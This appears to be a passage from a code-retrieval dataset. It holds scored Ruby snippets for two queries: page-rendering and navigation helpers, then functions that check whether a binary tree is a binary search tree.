SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider4_text_3', nil),\n })\n end\n\n # template\n template_file = File.open (File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..', 'views','tagency_page_render.erb')))\n template = template_file.read\n page_template = Tilt.new('liquid') { template }\n page_render = page_template.render(context, theme_attributes )\n [page_render]\n else\n ['']\n end\n\n end",
"title": ""
},
{
"docid": "370c96cb063b0b6738ccd913ab1dff59",
"score": "0.4560426",
"text": "def render\n first, *rest = *stack\n first.new(values, config, document, context, options, rest).render\n end",
"title": ""
},
{
"docid": "21bf99e9b99535804ed376192cfcc2b0",
"score": "0.4556052",
"text": "def handle_explicit_navigation\n if SimpleNavigation.explicit_navigation_args\n begin\n level, navigation = parse_explicit_navigation_args\n self.controller.instance_variable_set(:\"@sn_current_navigation_#{level}\", navigation)\n rescue\n #we do nothing here\n #TODO: check if this is the right way to handle wrong explicit navigation\n end\n end\n end",
"title": ""
},
{
"docid": "80304e7df76657914135ecaeec15611c",
"score": "0.45558813",
"text": "def render_page(status = 200)\n logger.warn \"Render page (id: #{@page.id})\"\n @_page_route.execute(self) if @_page_route\n prepare_connectables_for_render\n page_layout = determine_page_layout\n\n #render :inline => @cms_page.content, :layout => app_layout, :status => status, :content_type => 'text/html'\n # /Users/davidvezzani/rails-app/comfy_cms/app/controllers/cms_content_controller.rb\n render :layout => page_layout, :action => 'show', :status => status\n end",
"title": ""
},
{
"docid": "3eb68441186697e91c04ef91726dd940",
"score": "0.45462722",
"text": "def before_render\n return unless @current_page\n\n @previous_page_link, @next_page_link = paging_links(@current_page, @total_pages, @page_name, @anchor)\n @page_list = create_page_list(@current_page, @total_pages, @page_name, @anchor)\n end",
"title": ""
},
{
"docid": "0dbe4c584783cc99cf95e406ac5eefbf",
"score": "0.45389596",
"text": "def render_items(items)\n menu = render_navigation :items => items\n return raw menu\n end",
"title": ""
},
{
"docid": "b76db6b5b911dd491ce669a8e7cff607",
"score": "0.4532507",
"text": "def render_navigation_level(id, composite, opts={}, current_depth=0, &block)\n return '' if opts[:max_depth] == current_depth\n html = %(<ul class=\"navigation\">)\n composite.children.each do |node|\n node_id = node.object.nil? ? node.children.first.object[:id] : node.object[:id]\n v = yield(node)\n html << \"<li>#{v}\"\n descendant_ids = node.descendants.map{|d|d.object ? d.object[:id] : nil}\n if node_id == id or descendant_ids.include?(id) and node.children.size > 0\n html << render_navigation_level(id, node, opts, current_depth+1, &block)\n end\n html << \"</li>\"\n end\n html << \"</ul>\"\n end",
"title": ""
},
{
"docid": "4517d2e93e954e2d753e6c50bde62893",
"score": "0.45262018",
"text": "def tree\n render layout: nil\n end",
"title": ""
},
{
"docid": "bf359e8252c80abe46514627dccca073",
"score": "0.45193514",
"text": "def index\n set_page_mode \n render 'sections/base.html.erb', :layout => 'templates/default'\n end",
"title": ""
},
{
"docid": "d4248fd34ad0e4eab5e0b2bcb5bb9c77",
"score": "0.4508335",
"text": "def pre_render(rendition)\n rendition.output = render_to_string inline: rendition.source,\n type: rendition.handler,\n layout: rendition.layout\n end",
"title": ""
},
{
"docid": "8076ceae12d6b0151da330ee7f2dd499",
"score": "0.4502899",
"text": "def _render_page\n _track_rendering(@page.path) {\n Filters.process(self, @page, @page._read)\n }\n end",
"title": ""
},
{
"docid": "5b25080fc0d2b2137ac5166c079251fe",
"score": "0.44996697",
"text": "def page_layout(context={}, layout_name)\n\n # Apply the layout\n if layout_name == 'page_render' and SystemConfiguration::Variable.get_value('frontend.skin', nil) == 'rentit'\n\n home_page = SystemConfiguration::Variable.get_value('site.anonymous_front_page')\n primary_secondary_links_menu = context[:app].primary_secondary_links_menu?\n\n # Builds the primary link menu\n primary_links_menu = if primary_secondary_links_menu\n Site::Menu.first(name: 'primary_links')\n else\n Site::Menu.first(name: 'primary_links_activities')\n end\n\n # Check if show shopping cart\n renting_plan, activities_plan = context[:app].mybooking_plan_type\n only_activities = (activities_plan and !renting_plan)\n full_own_menu = (activities_plan and renting_plan and SystemConfiguration::Variable.get_value('booking.frontend.activities_menu','false').to_bool)\n show_shopping_cart = ((only_activities or (full_own_menu and !primary_secondary_links_menu)) and !context[:app].activities_summaries_pages?)\n\n primary_links_menu_render = self.build_primary_links_menu(primary_links_menu,\n context[:app].request.path_info,\n context[:app].session[:locale],\n context[:app].settings.default_locale,\n context[:app].settings.multilanguage_site,\n show_shopping_cart)\n # Builds the secondary links menu\n secondary_links_menu = if primary_secondary_links_menu\n Site::Menu.first(name: 'secondary_links')\n else\n Site::Menu.first(name: 'secondary_links_activities')\n end\n\n secondary_links_menu_render = self.build_secondary_links_menu(secondary_links_menu,\n context[:app].request.path_info,\n context[:app].session[:locale],\n context[:app].settings.default_locale,\n context[:app].settings.multilanguage_site)\n\n embedded = context[:app].request.params['embedded'] ? context[:app].request.params['embedded'].to_bool : false\n\n theme_attributes = {'theme_color_scheme' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.theme_color_scheme', 'red-1'),\n 'css_header_background' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.header_background','#fbfbfb'),\n 'css_menu_item_color' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.menu_item_color','#a5abb7'),\n 'css_menu_item_hover_color' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.menu_item_hover_color','#14181c'),\n 'css_menu_top_hover_color' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.menu_top_hover_color','#e60000'),\n 'css_submenu_background' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.submenu_background','#ffffff'),\n 'css_fixed_logo_sticky' => SystemConfiguration::Variable.get_value('frontend.skin.rentit.css.fixed_logo_sticky', 'false').to_bool,\n 'site_company_name' => SystemConfiguration::Variable.get_value('site.company.name', '.'),\n 'site_company_document_id' => SystemConfiguration::Variable.get_value('site.company.document_id', '.'),\n 'site_company_phone_number' => SystemConfiguration::Variable.get_value('site.company.phone_number', '.'),\n 'site_company_email' => SystemConfiguration::Variable.get_value('site.company.email', '.'),\n 'site_company_address_1' => SystemConfiguration::Variable.get_value('site.company.address_1', '.'),\n 'site_company_address_2' => SystemConfiguration::Variable.get_value('site.company.address_2', '.'),\n 'site_company_city' => SystemConfiguration::Variable.get_value('site.company.city', '.'),\n 'site_company_state' => SystemConfiguration::Variable.get_value('site.company.state', '.'),\n 'site_company_country' => SystemConfiguration::Variable.get_value('site.company.country', '.'),\n 'site_company_zip' => SystemConfiguration::Variable.get_value('site.company.zip', '.'),\n 'site_company_facebook' => SystemConfiguration::Variable.get_value('site.company.facebook', '.'),\n 'site_company_twitter' => SystemConfiguration::Variable.get_value('site.company.twitter', '.'),\n 'site_company_linkedin' => SystemConfiguration::Variable.get_value('site.company.linkedin', '.'),\n 'site_company_instagram' => SystemConfiguration::Variable.get_value('site.company.instagram', '.'),\n 'year' => Date.today.year,\n 'primary_links_menu' => primary_links_menu_render,\n 'secondary_links_menu' => secondary_links_menu_render,\n 'embedded' => embedded,\n 'home' => (context[:app].request.path_info == home_page or context[:app].request.path_info == '/')\n }\n\n # template\n template_file = File.open (File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..', 'views','rentit_page_render.erb')))\n template = template_file.read\n page_template = Tilt.new('liquid') { template }\n page_render = page_template.render(context, theme_attributes )\n [page_render]\n else\n ['']\n end\n\n end",
"title": ""
},
{
"docid": "d77269c5492edcff4c014813de09bfcd",
"score": "0.44972074",
"text": "def render(current_uri, options)\n init_haml_helpers\n return capture_haml do\n haml_tag(:ul, {:class => [:nav], :id => @name}) do\n @items.each do |menu_item|\n haml_concat(menu_item.render(current_uri, options))\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2a87c12706540bd85febdcc785398be1",
"score": "0.44901466",
"text": "def render_header\n _render(:header_template)\n end",
"title": ""
},
{
"docid": "6ffe4e8cac3195c07081e899e26383f3",
"score": "0.44840586",
"text": "def show\n @navigation = nil\n @container_row = nil\n unless @container.container_type == 'navigation'\n @container_rows = @container.container_rows\n end\n end",
"title": ""
},
{
"docid": "345ac5832a9e7414d3403f2cb20d6ed9",
"score": "0.44834808",
"text": "def render(options = {})\n transparent(0.25) { stroke_horizontal_line 0, bounds.width, at: 0 }\n render_author\n render_text if @text\n render_page_number(options[:page]) if options[:page]\n end",
"title": ""
},
{
"docid": "b42bef7645370e3b7d5e69f240e4c81b",
"score": "0.4474707",
"text": "def show\n @navigation_items = @navigation.navigation_items\n end",
"title": ""
},
{
"docid": "077593018e96fcfa2a5af909cc259f8f",
"score": "0.44732147",
"text": "def set_renderer\n @renderer = Renderer.find(params[:id])\n end",
"title": ""
},
{
"docid": "077593018e96fcfa2a5af909cc259f8f",
"score": "0.44732147",
"text": "def set_renderer\n @renderer = Renderer.find(params[:id])\n end",
"title": ""
},
{
"docid": "077593018e96fcfa2a5af909cc259f8f",
"score": "0.44732147",
"text": "def set_renderer\n @renderer = Renderer.find(params[:id])\n end",
"title": ""
},
{
"docid": "4844d310e9999b3c1280c7dcf5c48366",
"score": "0.44666234",
"text": "def render_navigations(*args)\n renderer = args.extract_options![:rendering_strategy]\n args.map { |target_path| render_navigation(*[target_path, renderer].compact) }.join\n end",
"title": ""
}
] |
fa0ba1ed320680f97c7a48f19283aa06 | Implement a function to check if a binary tree is a binary search tree | [
{
"docid": "4c1bcc18973bd661205efef1a1e4ba04",
"score": "0.60885596",
"text": "def validateBST(root)\n queue = [root]\n\n i = 0\n until i == queue.length\n current = queue[i]\n if current.left == nil && current.right == nil\n i = i + 1\n next\n elsif current.left && current.right == nil\n if current.left.value > current.value\n return false\n else\n queue.push(current.left)\n end\n elsif current.right && current.left == nil\n if current.right.value <= current.value\n return false\n else\n queue.push(current.right)\n end\n else\n if (current.left.value > current.value) || (current.right.value <= current.value)\n return false\n else\n queue.push(current.left)\n queue.push(current.right)\n end\n end\n i = i+1\n end\n return true\nend",
"title": ""
}
] | [
{
"docid": "7b1af8124d04a450743c2a14c69a6fce",
"score": "0.77570444",
"text": "def valid_bst_a?(tree)\n valid_bst_node?(tree.root)\nend",
"title": ""
},
{
"docid": "4a7142034c27003df743fdb604b7c9f7",
"score": "0.7548194",
"text": "def is_bst?(root)\nend",
"title": ""
},
{
"docid": "e2b078c981d5343765e0b665e7a69f8a",
"score": "0.75155425",
"text": "def valid_binary_tree(node)\n if node != nil\n return false if node.left_node.value >= node.value || node.right_node.value <= node.value\n else\n return false if valid_binary_tree(node.left_node) == false\n return false if valid_binary_tree(node.right_node) == false\n end\n true\nend",
"title": ""
},
{
"docid": "808c77dbf155b13047e09896557cd574",
"score": "0.7452953",
"text": "def bst?(tree)\n return true if tree.nil?\n\n tree.valid? || tree.reverse(tree).valid?\nend",
"title": ""
},
{
"docid": "4bf5b9fb74be9975afe78893517b964c",
"score": "0.7406747",
"text": "def valid_search_tree?(root)\n raise \"Please enter a binary search tree with at least one node\" if root.nil?\n\n stack = []\n\n stack << [root, -Float::INFINITY, Float::INFINITY]\n\n until stack.empty?\n current_node, lower_bound, upper_bound = stack.shift\n\n if lower_bound >= current_node.value || upper_bound <= current_node.value\n return false\n else\n if current_node.left\n stack << [current_node.left, lower_bound, current_node.value]\n end\n\n if current_node.right\n stack << [current_node.right, current_node.value, upper_bound]\n end\n end\n end\n\n true\nend",
"title": ""
},
{
"docid": "9695de06ca9e6575db0118cc9441c6c2",
"score": "0.7253843",
"text": "def is_bst?(root)\n\n if is_subtree_lesser(root.left, root.value) &&\n is_subtree_greater(root.right, root.value) &&\n is_bst?(root.left) &&\n is_bst?(root.right)\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "d71d5f1abf168b70fc5e07bfb9f368d9",
"score": "0.7226282",
"text": "def is_binary_tree?(root)\n\n stack = []\n stack.push([root, -Float::INFINITY, Float::INFINITY])\n\n until stack.empty?\n node, lower_bounds, upper_bounds = stack.pop\n\n if node.value <= lower_bounds || node.value >= upper_bounds\n return false\n elsif node.left\n stack.push([node.left, lower_bounds, node.value])\n elsif node.right\n stack.push([node.right, node.value, upper_bounds])\n end\n end\n\n return true\n end",
"title": ""
},
{
"docid": "6562cb9fc7946238230fe5df6991e7a3",
"score": "0.7136912",
"text": "def bst?(root)\n return true if root.nil?\n return false if !root.left.nil? && (maximum(root.left).data > root.data)\n return false if !root.right.nil? && (minimum(root.right).data < root.data)\n return false if !bst?(root.left) || !bst?(root.right)\n true\n end",
"title": ""
},
{
"docid": "201498ce337661b47a96aee1b38b60b6",
"score": "0.710753",
"text": "def is_valid_bst(root)\n\nend",
"title": ""
},
{
"docid": "f1890ee5a26d88e2e3067ee4d6412656",
"score": "0.71058536",
"text": "def balanced_bt_a?(tree)\n root = tree.root\n balanced_left_and_right?(root.left, root.right)\nend",
"title": ""
},
{
"docid": "f7c538ca8544e8fb73aad24ea7edef99",
"score": "0.7046103",
"text": "def valid_tree?\n false\n end",
"title": ""
},
{
"docid": "032c6006c271ba0803607944fe80f7be",
"score": "0.70350444",
"text": "def valid_tree?\n true\n end",
"title": ""
},
{
"docid": "032c6006c271ba0803607944fe80f7be",
"score": "0.70350444",
"text": "def valid_tree?\n true\n end",
"title": ""
},
{
"docid": "d11a44fb26593cc399ef74cddb7a4a6e",
"score": "0.7014591",
"text": "def valid_tree?\n true\n end",
"title": ""
},
{
"docid": "7ecfb033c8ada2274157b9239e60d390",
"score": "0.70065796",
"text": "def check_if_bst(root_node)\n\t\tif root_node.nil?\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\n\t\tif (root_node.value > root_node.left_child.value) && (root_node.value < root_node.right_child.value)\n\t\t\tif (check_if_bst(root_node.left_child) && check_if_bst(root_node.right_child))\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\treturn false\n\t\tend\n\n\n\tend",
"title": ""
},
{
"docid": "6922e7e31f3cb2f3e1addfa935769397",
"score": "0.69489086",
"text": "def tree?\n type == :tree\n end",
"title": ""
},
{
"docid": "f4a16472703ee9c768eed2839ed5002a",
"score": "0.69273895",
"text": "def is_tree?(c)\n %w[# X].include?(c)\nend",
"title": ""
},
{
"docid": "1d0d720d6de4b50baca58d27820b49a1",
"score": "0.6849512",
"text": "def isSubtree(t1, t2)\n return true if identify(t1, t2) || t2.nil?\n return false if t1.nil?\n return true if isSubtree(t1.left, t2)\n return true if isSubtree(t1.right, t2)\n false\nend",
"title": ""
},
{
"docid": "1c4bc34da959fc4db287cf48a5c3babf",
"score": "0.6732021",
"text": "def balanced_bt_b?(tree)\n balanced_from_node?(tree.root)\nend",
"title": ""
},
{
"docid": "3cd865e5445714bf4cd410c02dd406e2",
"score": "0.67290646",
"text": "def is_binary?(root = self.root, bottom = (-1.0/0), top = (1.0/0))\n\t\tif root == nil\n\t\t\treturn true #make it all the way down to the bottom, return true\n\t\tend\n\t\tif root.val <= top && root.val > bottom && is_binary?(root.left_node, bottom, root.val) && is_binary?(root.right_node, root.val, top)\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8695af35f1e9ac636b6e1e9d0d6f77e7",
"score": "0.6726129",
"text": "def is_tree_balanced(root)\n return true if(!root)\n\n diff = height(root.left) - height(root.right)\n if diff.abs > 1\n return false\n end\n\n return ( is_tree_balanced(root.left) && is_tree_balanced(root.right) )\nend",
"title": ""
},
{
"docid": "edd86528b48249251dc9c817e01f7264",
"score": "0.671824",
"text": "def is_valid_bst root\n valid_bst_helper root\nend",
"title": ""
},
{
"docid": "e44020e020e9dd36b7a16b16c3832f24",
"score": "0.66787994",
"text": "def subtree?\n \n return true\n \n end",
"title": ""
},
{
"docid": "1d7c56eba60cb359955c1bbc05ab6aed",
"score": "0.6665093",
"text": "def same_tree?(s,t)\n return true if !s && !t\n return false if !s or !t\n s.val == t.val && same_tree?(s.left,t.left) && same_tree?(s.right,t.right)\nend",
"title": ""
},
{
"docid": "dd8070623779b1e6fabbaf2dc7a321fe",
"score": "0.6653473",
"text": "def check_subtree(t1, t2)\n return false if t1.nil?\n return true if t1.data == t2.data && compare_trees(t1, t2)\n check_subtree(t1.left, t2) || check_subtree(t1.right, t2)\nend",
"title": ""
},
{
"docid": "84c90460a9e7826cea660fe14fa5bc58",
"score": "0.6640558",
"text": "def is_balanced_tree(node)\n weight(node) == false ? false : true\nend",
"title": ""
},
{
"docid": "863865a0745f7b4bb45de62a38043d38",
"score": "0.66236156",
"text": "def is_symmetric_binary_tree?(root)\n return true if !root\n\n is_symmetric_binary_tree_rec(root.left,root.right)\nend",
"title": ""
},
{
"docid": "0a5e362eae327fece617aa254882bc22",
"score": "0.66216433",
"text": "def is_subtree(s, t)\n return false if s.nil? || t.nil?\n is_subtree_helper(s, t) || is_subtree(s.left, t) || is_subtree(s.right, t)\nend",
"title": ""
},
{
"docid": "bc889d3bcf89611992fe38a0368a45b3",
"score": "0.6603457",
"text": "def structurally_identical_binary_trees?(root1, root2)\n return true if (!root1 && !root2)\n if (!root1 && root2) || (root1 && !root2)\n return false\n elsif root1.value != root2.value\n return false\n else\n left = structurally_identical_binary_trees?(root1.left_child, root2.left_child)\n right = structurally_identical_binary_trees?(root1.right_child, root2.right_child)\n return left && right\n end\n # false\nend",
"title": ""
},
{
"docid": "fb37dc9629d9ac1781afc6a90f1c8d2a",
"score": "0.6602221",
"text": "def tree_equal?(tree1, tree2)\n if tree1.nil? and tree2.nil? then\n true\n elsif tree1.nil? or tree2.nil? then\n false\n elsif tree1.val != tree2.val then\n false\n else\n tree_equal?(tree1.left, tree2.left) and tree_equal?(tree1.right, tree2.right)\n end\nend",
"title": ""
},
{
"docid": "fc294cb519570c6fd8225059d9611433",
"score": "0.65741146",
"text": "def is_leaf?(node)\n !node.left && !node.right\n end",
"title": ""
},
{
"docid": "6533f22769fe185e18b1d4281e8d57f0",
"score": "0.65610886",
"text": "def bst_checker(root)\n pos_infinity = 1.0 / 0.0\n neg_infinity = -1.0 / 0.0\n stack = [[root, pos_infinity, neg_infinity]]\n\n while stack.any?\n node, lower_bound, upper_bound = stack.pop\n\n return false if ( node.value < lower_bound ) and ( node.value > upper_bound )\n\n stack.push([ node.left, lower_bound, node.value ]) if node.left\n stack.push([ node.right, node.value, upper_bound ]) if node.left\n\n # if node.left or node.right are nil, they won't be pushed to the stack\n end\n\n return true\nend",
"title": ""
},
{
"docid": "0c905aa6339c533a2ae60d6d66a575c4",
"score": "0.6558941",
"text": "def balanced_search_tree?(node)\n visited = Hash.new(false)\n queue = Queue.new\n queue.enqueue(node)\n until queue.is_empty?\n node = queue.dequeue\n left = node.neighbors[0]\n right = node.neighbors[1]\n left_height = get_height(left)\n right_height = get_height(right)\n left_value = left ? left.value : -1.0/0.0\n right_value = right ? right.value : 1.0/0.0\n unless left_value <= node.value &&\n right_value > node.value &&\n (left_height - right_height).abs <= 1\n return false\n end\n unless visited[node.value]\n node.neighbors.each do |neighbor|\n if neighbor\n\n queue.enqueue(neighbor)\n end\n end\n end\n visited[node.value] = true\n end\n true\nend",
"title": ""
},
{
"docid": "a39358d258a1544a0c3be7479e9f32df",
"score": "0.6553591",
"text": "def test_it_exists\n initial_tree = BinarySearchTree.new\n assert_instance_of BinarySearchTree, initial_tree\n end",
"title": ""
},
{
"docid": "5184495a9f318d87f6d4c309ddd12817",
"score": "0.65498054",
"text": "def balanced?(node = @root)\n return true if node.nil?\n\n return true if node.left.nil? && node.right.nil?\n\n if (depth(node.left) - depth(node.right)).abs <= 1\n balanced?(node.left) && balanced?(node.right) ? true : false\n else\n false\n end\n end",
"title": ""
},
{
"docid": "eacdf84bcdcd805e6a135fa2af7befd3",
"score": "0.6548833",
"text": "def is_leaf? \n left.nil? && right.nil?\n end",
"title": ""
},
{
"docid": "7a443dd423260e1bdca12de902617eb5",
"score": "0.6541774",
"text": "def leaf?\r\n @left == nil && @right == nil\r\n end",
"title": ""
},
{
"docid": "d42e85e175bfdda9f52576871ad4ba47",
"score": "0.6540413",
"text": "def check_tree; end",
"title": ""
},
{
"docid": "5c4774b7074122a95df2e017c8707cca",
"score": "0.65390426",
"text": "def is_bst(node, lower_lim=nil, upper_lim=nil)\n if lower_lim && node.value < lower_lim\n return false\n end\n if upper_lim && node.value > upper_lim\n return false\n end\n\n is_left_bst = true\n is_right_bst = true\n\n if node.left\n is_left_bst = is_bst(node.left, lower_lim, node.value)\n end\n if node.left && node.right\n is_right_bst = is_bst(node.right, node.value, upper_lim)\n end\n\n return is_left_bst && is_right_bst\nend",
"title": ""
},
{
"docid": "6753900674dea0195bf9889d16b067b1",
"score": "0.64996785",
"text": "def is_bst?(root = @root, min_value = - Float::INFINITY, max_value = Float::INFINITY)\n return true if root == nil\n if root.value > min_value &&\n root.value < max_value &&\n is_bst?(root.link_left, min_value, root.value) &&\n is_bst?(root.link_right, root.value, max_value)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "f5a6f22393cf59f848cfc813450ed639",
"score": "0.6494782",
"text": "def check_subtree\n if children.empty?\n return false unless left and right\n # puts \"NO children: left = #{left}, right = #{right}, expected: #{left + 1}\" unless right - left == 1\n right - left == 1\n else\n n = left\n for c in (children)\n return false unless c.left and c.right\n return false unless c.left == n + 1 \n return false unless c.check_subtree\n n = c.right\n end\n # puts \"children: left = #{left}, right = #{right}, expected: #{n + 1}\" unless right == n + 1\n right == n + 1\n end\n end",
"title": ""
},
{
"docid": "adcf3a744542704946e5b316d3ea2311",
"score": "0.649423",
"text": "def balanced?\n (depth(@root.left) - depth(@root.right)).abs <= 1\n end",
"title": ""
},
{
"docid": "025f128ea0c5f66143bf7b9ab0f150db",
"score": "0.6482858",
"text": "def is_subtree_a?(t1, t2)\n is_similar_trees?(t1.root.left, t2.root, t2.root) || is_similar_trees?(t1.root.right, t2.root, t2.root)\nend",
"title": ""
},
{
"docid": "58ade4e3d734afd3251d227b9deb1ee1",
"score": "0.64677113",
"text": "def is_balanced?(tree_node = @root)\n return true if tree_node.nil?\n return false if (depth(tree_node.left) - depth(tree_node.right)).abs > 1\n return is_balanced?(tree_node.left) && is_balanced?(tree_node.right)\n end",
"title": ""
},
{
"docid": "dea485bb7498c421c94f6c7b83be4d4b",
"score": "0.6449005",
"text": "def is_balanced(root)\n return true if root.nil?\n\n left, right = root.left, root.right\n left_result = is_balanced(left)\n right_result = is_balanced(right)\n\n result = right_result && left_result && (max_depth(left) - max_depth(right)).abs <= 1\n result # boolean\nend",
"title": ""
},
{
"docid": "bef5821231fae52a6e6e31346ad23de8",
"score": "0.64465934",
"text": "def is_valid_infix_tree?(node)\n if (node.left == nil && node.right == nil) # This node is a leaf and must be numerical\n begin\n Integer(node.value)\n return true\n rescue ArgumentError\n return false\n end\n elsif (node.left == nil && node.right != nil) || (node.left != nil && node.right == nil) # Operation without two operands or other imbalance\n return false\n else # This node is internal and must contain an operator\n left_valid = is_valid_infix_tree?(node.left)\n right_valid = is_valid_infix_tree?(node.right)\n if node.value == \"+\" || node.value == \"-\" || node.value == \"*\" || node.value == \"/\" || node.value == \"%\"\n current_valid = true\n else\n current_valid = false\n end\n return left_valid && right_valid && current_valid\n end\nend",
"title": ""
},
{
"docid": "71e4def55fb6ccccf200ec97415d8c3d",
"score": "0.644659",
"text": "def is_subtree(root, sub)\n stack = [root]\n while !stack.empty?\n current = stack.pop\n stack.push current.left if current.left\n stack.push current.right if current.right\n if current.val == sub.val\n return true if is_same_tree(current, sub)\n end\n end\n false\nend",
"title": ""
},
{
"docid": "9cdb3a5c8c2a7f8ea231531e6598dad3",
"score": "0.642661",
"text": "def balanced?(tree_root)\n return true unless tree_root\n\n depths = [] # we short-circuit as soon as we find more than 2\n\n # we'll treat this array as a stack that will store pairs [node, depth]\n nodes = []\n nodes << [tree_root, 0]\n\n until nodes.empty?\n # pop a node and its depth from the top of our stack\n node, depth = nodes.pop\n\n # case: we found a leaf\n if !node.left && !node.right\n\n # we only care if it's a new depth\n unless depths.include?(depth)\n depths.push(depth)\n\n # two ways we might now have an unbalanced tree:\n # 1) more than 2 different leaf depths\n # 2) 2 leaf depths that are more than 1 apart\n if depths.length > 2 ||\n depths.length == 2 && (depths[0] - depths[1]).abs > 1\n return false\n end\n end\n\n # case: this isn't a leaf - keep stepping down\n else\n nodes << [node.left, depth + 1] if node.left\n nodes << [node.right, depth + 1] if node.right\n end\n end\n\n true\nend",
"title": ""
},
{
"docid": "71e5230744000d7dc753d58a8cafa5be",
"score": "0.6424971",
"text": "def check_tree_levels(tree)\n return true unless tree.has_children?\n \n # For each node in tree compare first_child_type to rest of children's \n # type and return false upon first non-equal type.\n tree.bft do |node|\n next unless node.has_children?\n \n first_child_type = node.child_array.first.name\n \n # Compare each child's type for a given parent node. \n node.child_array.each do |child|\n if child.name != first_child_type\n return false\n end\n end\n end\n\n return true \n end",
"title": ""
},
{
"docid": "6d5a739dcfc6f4e9903d5c9a1c0ca2a1",
"score": "0.64143515",
"text": "def is_tree_balanced?( tree )\n min_dist, max_dist = recurse_through_tree(tree.root, 0, (1.0/0.0), -1)\n return ((max_dist - min_dist) <= 1)\nend",
"title": ""
},
{
"docid": "6b3242a8a2773059f3704e4012d873f1",
"score": "0.6409548",
"text": "def balanced?\n if @value.nil? || leaf?\n true # An empty tree/leaf node is already balanced\n else\n left_depth = @left.nil? ? 0 : @left.max_depth\n right_depth = @right.nil? ? 0 : @right.max_depth\n # The left/right max depths cannot differ by more than one if this tree is balanced\n (left_depth - right_depth).abs <= 1\n end\n end",
"title": ""
},
{
"docid": "0b04ace603598562a170d114e3990579",
"score": "0.64011514",
"text": "def is_same_tree(root1, root2)\n return true if root1.nil? && root2.nil?\n return false if root1.nil? || root2.nil?\n\n left_res = is_same_tree(root1.left, root2.left)\n right_res = is_same_tree(root1.right, root2.right)\n\n result = root1.val == root2.val && left_res && right_res\n result # boolean\nend",
"title": ""
},
{
"docid": "a6b0267c39b5e962cd2f675e7e662fbf",
"score": "0.63676167",
"text": "def is_node(node)\n\t\t!node.nil? && node.class == Node\n\tend",
"title": ""
},
{
"docid": "d629f33b656892ed2763c8c91288aac4",
"score": "0.63665885",
"text": "def is_balanced(tree_root)\n\n # a tree with no nodes is superbalanced, since there are no leaves!\n if !tree_root\n return true\n end\n\n depths = [] # we short-circuit as soon as we find more than 2\n\n # we'll treat this array as a stack that will store pairs [node, depth]\n nodes = []\n nodes.push([tree_root, 0])\n\n while !nodes.empty?\n\n # pop a node and its depth from the top of our stack\n node, depth = nodes.pop\n\n # case: we found a leaf\n if !node.left && !node.right\n\n # we only care if it's a new depth\n if !depths.include? depth\n depths.push(depth)\n\n # two ways we might now have an unbalanced tree:\n # 1) more than 2 different leaf depths\n # 2) 2 leaf depths that are more than 1 apart\n if (depths.length > 2) || \\\n (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n end\n\n # case: this isn't a leaf - keep stepping down\n else\n if node.left\n nodes.push([node.left, depth + 1])\n end\n if node.right\n nodes.push([node.right, depth + 1])\n end\n end\n end\n\n return true\nend",
"title": ""
},
{
"docid": "08bae18a2fb799e3fb52e3c6376492ae",
"score": "0.634938",
"text": "def leaf?\n @left.nil? && right.nil?\n end",
"title": ""
},
{
"docid": "eb7a3944e3b00320a620dc8428754f59",
"score": "0.63474905",
"text": "def balanced?(root = @root)\n return true unless root\n ld = depth(root.left)\n rd = depth(root.right)\n if (ld - rd).between?(-1,1) && balanced?(root.left) && balanced?(root.right)\n return true\n end\n false\n end",
"title": ""
},
{
"docid": "1d8b3b87fe0feb9f16638cb55ffed09e",
"score": "0.6341686",
"text": "def is_bst?(node, min = nil, max = nil)\n return true if node.nil?\n\n # does this node violate constraints?\n if (min && (min > node.value)) || (max && (max < node.value))\n return false\n end\n\n # this node follows constraints; do its children, too?\n is_bst?(node.left, min, node.value) && is_bst?(node.right, node.value, max)\nend",
"title": ""
},
{
"docid": "f35aee17c7709ca239d8e97bdc5929db",
"score": "0.6334898",
"text": "def is_operator_in_tree?(node, operator)\n if !is_valid_infix_tree?(node)\n return false\n else\n return is_operator_in_tree_recursive_portion(node, operator)\n end\nend",
"title": ""
},
{
"docid": "9cf43e7aa01a36aaa05f76c0c8f60260",
"score": "0.63300145",
"text": "def is_valid_bst(root, min = -Float::INFINITY, max = Float::INFINITY)\n return true if root == nil\n if root.val <= min || root.val >= max\n return false\n else\n is_valid_bst(root.left, min, root.val) && is_valid_bst(root.right, root.val, max)\n end\nend",
"title": ""
},
{
"docid": "4a04f9b2efa5c5945a0cd2252a8ff8df",
"score": "0.63251895",
"text": "def is_leaf?\r\n @left_child.nil? && @right_child.nil?\r\n end",
"title": ""
},
{
"docid": "48c007df018949b8cd4647f27037393d",
"score": "0.6319853",
"text": "def is_same_tree(r1, r2)\n return r1.nil? && r2.nil? if r1.nil? || r2.nil?\n (r1.val == r2.val) && \\\n is_same_tree(r1.left, r2.left) && \\\n is_same_tree(r1.right, r2.right)\nend",
"title": ""
},
{
"docid": "d08e13f60fa20ca003959ed6cc529fe5",
"score": "0.63192856",
"text": "def balanced?\n if @value.nil? or leaf? then\n true # An empty tree/leaf node is already balanced\n else\n left_depth = @left.nil? ? 0 : @left.max_depth\n right_depth = @right.nil? ? 0 : @right.max_depth\n # The left/right max depths cannot differ by more than one if this tree is balanced\n (left_depth - right_depth).abs <= 1\n end\n end",
"title": ""
},
{
"docid": "abc1edf7b6ec7cef673fae624bb35839",
"score": "0.6310499",
